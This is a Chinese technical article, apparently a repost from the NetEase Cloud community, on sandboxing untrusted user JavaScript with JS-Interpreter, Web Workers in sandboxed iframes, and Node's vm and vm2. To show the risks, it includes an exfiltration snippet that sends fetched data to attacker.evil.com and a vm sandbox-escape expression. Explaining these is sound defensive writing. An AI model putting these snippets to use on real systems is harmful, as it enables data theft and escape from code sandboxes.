如何安全地运行用户的 JavaScript 脚本
本文来自网易云社区,转载务必请注明出处。
有时候我们需要运行用户输入的 JavaScript 脚本(以下简称脚本)。对于我们来说,这些脚本是不可信任的,如果在当前的 Context 中运行这些脚本,它们就能获取到像 cookie、localStorage、DOM 元素等隐私数据,会有潜在的安全问题。
本文所说的用户脚本,是指用户在文本框中输入的 JavaScript 代码,也就是一些代码字符串,我们假设它们只需要做一些计算,不需要访问用户数据。
下面我们来看一下如何在浏览器和 Node.js 中安全地运行上述这种不可信任的用户脚本。
浏览器
eval
和 new Function
这两个方法会在当前的 Context 中运行,它们可以访问 cookie 等隐私数据,所以不能使用这两个方法:
const cookie = eval('document.cookie');const getCookie = new Function('return document.cookie');
这里需要强调下,是因为eval
和 new Function
能访问 cookie 等隐私数据所以才不能使用它们,并不是因为它们在当前的 Context 中运行而不能使用它们,如果它们在当前的 Context 中运行,但不能访问任何隐私数据,也是可以放心地使用它们的。
所以,我们要将用户脚本放到沙箱(Sandbox)中去运行,同时不能让它们访问任何用户数据,比如 cookie、localStorage、JavaScript 全局变量、DOM 元素等。
解释器
一种方案是使用 JavaScript 解释器,比如 JS-Interpreter。我们来看一下 JS-Interpreter 的用法,首先在页面中引入 acorn_interpreter.js 这个文件,然后可以按照下面的形式使用:
const code = '1 + 2';const interpreter = new Interpreter(code);
interpreter.run();console.log(interpreter.value); // 3
下面来验证一下是否能访问用户数据:
const globalVar = 'x';const code = 'globalVar';const interpreter = new Interpreter(code);
interpreter.run();console.log(interpreter.value); // globalVar is not defined
globalVar
是一个全局变量,用户脚本无法访问这个全局变量。同时不难验证,cookie
、localStorage
、document
、XMLHttpRequest
等对象用户脚本都是无法访问的,不过有 window
对象,虽然和浏览器中的 window
不是同个对象。
注意,上述代码只是在论证用户脚本的能力,并不是在讨论 JS-Interpreter 本身能做什么事情,JS-Interpreter 可以通过
createNativeFunction
等方法去调用系统方法,运行下面的代码后,会弹窗显示当前页面的 URL 地址:
var myCode = 'alert(url);';var initFunc = function (interpreter, scope) {
interpreter.setProperty(scope, 'url', String(location)); var wrapper = function (text) { return alert(text);
};
interpreter.setProperty(scope, 'alert',
interpreter.createNativeFunction(wrapper));
};var myInterpreter = new Interpreter(myCode, initFunc);
myInterpreter.run();
据官方文档说明,JS-Interpreter 目前还未收到安全漏洞问题,但有以下使用限制:
不能访问 DOM。
不支持 ES6,只支持 ES5。
不支持自定义的 toString 和 valueOf 方法。
性能比原生的低 200 倍左右。
如果上述限制对要实现的功能没有影响,对引入额外文件的成本也可以忽略的话,我觉得是值得尝试使用的。
Web Worker
另外一种是使用 Web Worker,也有相应的封装实现,比如这个库 jailed,它在 Node.js 和浏览器中都可以使用,不过在 Node.js 中的实现有安全问题,就不具体介绍了。在浏览器中,它的做法是:
创建一个沙箱中的 iframe,并将 iframe 的
sandbox
属性设置为allow-scripts
,目的是让 iframe 遵循 CSP(Content Security Policy)规则。在 iframe 启动 Web Worker。
在 Web Worker 中加载并运行代码。
我们先来看一下如何使用 Web Worker 来运行用户脚本。根据 Worker 的文档,第一个参数是脚本的地址。但我们今天讨论的问题是用户输入的脚本代码,它是一段字符串,并不是一个文件。所以需要想办法将字符串代码转换成文件,使用 Blob 就可以了:
<script id="worker" type="javascript/worker">
self.onmessage = function(e) { console.log(`data from parent: ${e.data}`); const result = eval(e.data);
self.postMessage(`data from worker: ${result}`);
};</script><script>
const blob = new Blob([ document.querySelector('#worker').textContent
]); const worker = new Worker(window.URL.createObjectURL(blob));
worker.onmessage = function(e) { console.log(`${e.data}`);
}; // 发送用户脚本,这里是 `1 + 2`
worker.postMessage(`1 + 2;`);</script>
上面的示例,我们为了要运行用户脚本 1 + 2
,把它传给了 Worker,然后在 Worker 中使用 eval 方法求值,所以现在的安全问题已经转嫁给 Worker 了。在 Worker 中,可以使用fetch
、XMLHttpRequest
等对象,这会有潜在的安全问题,比如攻击者在用户脚本中请求当前域的数据,然后再发送给攻击者的服务器:
// 将上面的用户脚本 `1 + 2` 换成下面的脚本fetch('secure.json')
.then(function(response) { return response.json();
})
.then(function(json) {
importScripts('https://attacker.evil.com/' + JSON.stringify(json));
});
因此,需要将 Worker 放到 iframe 中,并将 iframe 的 sandbox
属性设置为 allow-scripts
,也就是只允许执行脚本,本域的资源也不能加载:
<!-- 将上面的 worker 代码放在 iframe.html 页面中 --><iframe src="iframe.html" sandbox="allow-scripts"></iframe>
此外,还要防止用户代码中出现计算量过大或者死循环等问题,它们会导致用户的浏览器被卡死。Worker 本身并没有超时
这样的参数,不过它有一个 terminate
方法可以用来结束它的运行,所以可以使用一个计时器,在指定的时间内如果主线程没有收到数据,就认为可以结束 Worker 的运行了,至于没有收到数据的原因,可能是用户脚本中出现了死循环、语法错误等原因:
const blob = new Blob([ document.querySelector('#worker').textContent
]);const worker = new Worker(window.URL.createObjectURL(blob));let receivedFromWorker = false;
worker.onmessage = function(e) {
receivedFromWorker = true; console.log(`${e.data}`);
};
worker.postMessage(` while(true) { console.log(1);
}
`);
setTimeout(function () { if (!receivedFromWorker) { console.log('运行时间过长,结束 Worker');
worker.terminate();
}
}, 100);
Worker 是浏览器原生支持的,不需要引入额外的文件,是优先推荐使用的方法。
Node.js
在 Node.js 中,eval
和 new Function
这两个方法也是在当前的 Context 中运行,所以也不能使用这两个方法:
eval('process.exit(0)');
和在浏览器中一样,也需要把代码放到隔离的沙箱中去运行。
VM
Node.js 有一个 vm 模块,它可以在 V8 虚拟机中编译和执行代码,它是和当前执行环境隔离的沙箱环境,其中没有 process
、console
、fs
等全局对象:
const vm = require('vm');let result = vm.runInNewContext('1 + 2');console.log(result); // 3// ReferenceError: process is not definedvm.runInNewContext('process.exit(0)');
也可以指定超时执行时间:
const vm = require('vm');// Error: Script execution timed out.vm.runInNewContext(`while (true) 1`, {}, {timeout: 3});
那是否就可以直接使用这个 vm
模块来执行不可信任的用户脚本呢?很遗憾,不可以。官方文档中也明确地强调不能这么做:
The vm module is not a security mechanism. Do not use it to run untrusted code.(vm 模块的机制不安全,别用它来运行不可信任的代码。)
下面这个例子可以说明问题:
const vm = require('vm');
vm.runInNewContext('this.constructor.constructor("return process")().exit()');console.log('Never gets executed.');
VM2
由于 vm 存在的一些问题,有人写了一个 vm 的进化版本,叫 vm2,上面的例子是可以解决了:
const {VM} = require('vm2');// ReferenceError: process is not definednew VM().run('this.constructor.constructor("return process")().exit()');
vm2 内部也是调用了 vm,它使用了 Proxy 来防止访问沙箱外的东西,并且覆写了内置的 require
命令,对一些内置对象做了访问限制。
但我们不能认为它是绝对安全的,比如从这个issue我们可以看出 vm2 本身也是不断地在进化中。目前没有发现安全问题并不能说明不存在安全问题。
小结
到目前为止,不管是浏览器还是 Node.js,都没有官方推出的功能,可以保证安全地执行不可信任的用户脚本。但都有一些相应的方案,可以有条件地使用。
安全问题从来不可忽视,因为没人可以保证他写出来的代码没有 bug。
本文来自网易云社区 ,经作者包勇明授权发布。
网易云免费体验馆,0成本体验20+款云产品!
更多网易研发、产品、运营经验分享请访问网易云社区。
相关文章:
【推荐】 #3.14Piday#我的圆周率日
【推荐】 SpringBoot入门(三)——入口类解析
如何安全地运行用户的 JavaScript 脚本的更多相关文章
- C#中让WebBrowser运行Javascript脚本
C#中可以让Webbrowser运行Javascript脚本来实现各种自动化操作,比如点击网页上的按钮,输入用户名密码等等.代码也很简单: >>>>>>>&g ...
- MongoDB学习笔记-06 数据库命令、固定集合、GridFS、javascript脚本
介绍MongoDB支持的一些高级功能: 数据库命令 固定大小的集合 GridFS存储大文件 MongoDB对服务端JavaScript的支持 数据库命令 命令的原理 MongoDB中的命令其实是作为一 ...
- JavaScript脚本语言基础(四)
导读: JavaScript和DOM DOM文档对象常用方法和属性 DOW文档对象运用 JSON数据交换格式 正则表达式 1.JavaScript和DOM [返回] 文档对象模型(Document O ...
- JavaScript脚本语言基础(一)
导读: JavaScript代码嵌入HTML文档 JavaScript代码运行方式 第一个实例 JavaScript的三种对话框 定义JavaScript变量 JavaScript运算符和操作符 Ja ...
- java ScriptEngine 使用 (支持JavaScript脚本,eval()函数等)
Java SE 6最引人注目的新功能之一就是内嵌了脚本支持.在默认情况下,Java SE 6只支持JavaScript,但这并不以为着Java SE 6只能支持JavaScript.在Java SE ...
- SpiderMonkey-让你的C++程序支持JavaScript脚本
译序 有些网友对为什么D2JSP能执行JavaScript脚本程序感到奇怪,因此我翻译了这篇文章,原文在这里.这篇教程手把手教你怎样利用SpiderMonkey创建一个能执行JavaScript脚本的 ...
- 浏览器环境下Javascript脚本加载与执行探析之DOMContentLoaded
在”浏览器环境下Javascript脚本加载与执行探析“系列文章的前几篇,分别针对浏览器环境下JavaScript加载与执行相关的知识点或者属性进行了探究,感兴趣的同学可以先行阅读前几篇文章,了解相关 ...
- 2017.9.22 HTML学习总结--JavaScript脚本语言
接上: 1.JavaScript脚本语言 定义:javascript是一种简单的脚本语言,可以在浏览器中直接运行, 是一种在浏览器端实现网页与客户交互的技术javascript代码可 以直接运行在ht ...
- [Javascript] 40个轻量级JavaScript脚本库
诸如jQuery, MooTools, Prototype, Dojo和YUI等JavaScript脚本库,大家都已经很熟悉.但这些脚本库有利也有弊--比如说JavaScript文件过大的问题.有时你 ...
随机推荐
- @manyToOne.@oneToMany
@ManyToOne注解的这端,是多端 1.在注释@ManyToOne(cascade=CascadeType.REFRESH,optional=true)中将属性optional设置为true,这可 ...
- shell编程——日志输出的同时显屏
在执行脚本的时候我们常常需要将执行过程全部输出到日志里,以备出现报错时可以跟踪分析,开始我用的是exec: exec 1>info.log #把全部执行过程输出到info日志中 exec 2&g ...
- 在linux下安装并操作tomcat
1.安装tomcat1).下载tomcat从官网http://tomcat.apache.org/下载tomcat,保存在/home目录下.root@ubuntu:/home/ubuntu/Downl ...
- Python基础:文件的基本操作
# 打开文件(如果不存在则新建) 向其中写入 f = open('D:\\test.txt', 'w') f.write('hello world, i am here!') f.close() pr ...
- Codeforces 76D 位运算
题意:给你两个数x 和 y, x = a + b, y = a XOR b,问有没有合法的a和b满足这个等式? 思路:有恒等式: a + b = ((a & b) << 1) + ...
- linux ifconfig显示 command not found
本人装的是centos7 想看下网络配置 结果显示如图: 正常情况下 ifconfig 是在超级管理员 的所属的目录 sbin/下的命令 现在来查看该目录下. 没有找到,别急 用 yum sear ...
- c++ 命令模式(command)
命令模式的有点: 1.能够容易地设计一个命令队列: 2.在需要的情况下,可以比较容易地将命令记入日志. 3.可以容易的实现对请求的撤销和重做. 4.由于加进新的具体命令类不影响其他的类,因此增加新的具 ...
- CS的项目管理是基于多租户理念设计
1.创建项目 http://xxx.xxx.xx.xx:8080/client/api?command=createProject&response=json&sessionkey=8 ...
- windows下的phpunit安装
Windows Globally installing the PHAR involves the same procedure as manually installing Composer on ...
- 万能头文件#include<bits/stdc++.h>
最近在打cf时赛后翻阅别人的代码总是会发现一个陌生而奇怪的头文件#include<bits/stdc++.h> 奇怪之处就在于基本上所有的代码只要用了这个头文件就不再写其他头文件了. 百度 ...